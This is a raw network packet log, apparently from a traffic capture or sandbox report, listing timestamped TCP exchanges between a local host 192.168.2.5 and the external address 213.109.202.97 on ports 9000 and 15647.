Oct 19, 2024 03:37:10.379765987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379796982 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.379890919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379900932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.379940033 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380038023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380047083 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380057096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380065918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380076885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380084991 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380096912 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380117893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380188942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380201101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380212069 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380227089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380237103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380239010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380263090 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380321026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380359888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380513906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380525112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380537033 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380562067 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380656004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380667925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380677938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380696058 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380719900 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380804062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380812883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380822897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380832911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380851984 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380876064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.380983114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.380992889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381002903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381014109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381028891 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381058931 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381123066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381133080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381143093 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381177902 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381292105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381303072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381313086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381328106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381342888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381356001 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381442070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381455898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381483078 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381588936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381598949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381609917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381619930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381630898 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381665945 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381748915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381761074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381789923 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.381911039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.381954908 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.382483006 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.420021057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.420164108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.420173883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.420182943 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.420233965 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.420253038 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.430177927 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.432531118 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.467892885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.467933893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.467943907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.467989922 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.470700026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.470750093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.470753908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.470766068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.470808029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.470827103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.470839024 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.470881939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.470947027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.470957994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.470969915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.470998049 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.471036911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471084118 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.471092939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471189976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471200943 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471213102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471223116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471240997 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.471261978 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.471311092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471328974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471355915 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.471410990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471421957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471431971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.471457958 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.471474886 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.475429058 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.491662025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.496573925 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498553991 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498610973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498621941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498656034 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.498738050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498749018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498759985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498788118 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.498811960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.498866081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498882055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498891115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498923063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.498949051 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.498996019 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499000072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499075890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499087095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499097109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499119997 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499136925 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499205112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499264002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499275923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499286890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499296904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499306917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499346972 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499396086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499440908 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499445915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499458075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499506950 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499540091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499551058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499561071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499592066 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499713898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499722958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499732971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499743938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499753952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499756098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499766111 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499778986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499782085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499814034 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499831915 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.499963999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499974966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.499985933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500009060 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500091076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500099897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500109911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500119925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500135899 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500160933 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500238895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500248909 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500260115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500269890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500281096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500283957 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500292063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500303984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500320911 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500351906 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500494957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500581026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500590086 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500600100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500612020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500622034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500624895 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500647068 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500670910 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500742912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500754118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500763893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500813961 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500891924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500906944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500917912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500935078 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500935078 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500946999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500956059 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500966072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500967979 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.500977993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500988007 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.500998974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501003981 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501019955 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501039028 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501306057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501322985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501333952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501346111 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501358986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501373053 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501454115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501466036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501492023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501494884 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501512051 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501523018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501532078 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501534939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501552105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501566887 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501590014 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.501796961 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501806974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501816988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.501827955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.502002954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.540088892 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.540098906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.540110111 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.540119886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.540172100 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.540189981 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.576884031 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.586411953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.586429119 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.586436987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.586446047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.586508036 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.588227987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.588298082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.588309050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.588340998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.590986967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591029882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.591037035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591047049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591089964 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.591120005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591130972 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591140985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591151953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591171026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.591187954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.591315031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591326952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591371059 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.591402054 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591413021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591449976 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.591485023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591495037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591536045 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.591546059 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591556072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591563940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591573000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.591593981 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.591622114 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.602024078 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.606909990 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618594885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618613005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618622065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618666887 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.618707895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618720055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618730068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618740082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618748903 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.618772984 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.618868113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618879080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618887901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.618915081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.618942976 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.618999958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619009972 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619019985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619031906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619050980 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619077921 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619168043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619179010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619216919 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619220972 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619239092 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619282007 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619376898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619391918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619401932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619410992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619421959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619426966 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619432926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619452953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619469881 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619622946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619633913 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619642973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619652987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619663954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619671106 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619674921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619692087 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619720936 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619910955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619921923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619931936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619941950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619951010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:10.619961023 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:10.619966984 CEST	9000	49705	213.109.202.97	192.168.2.5
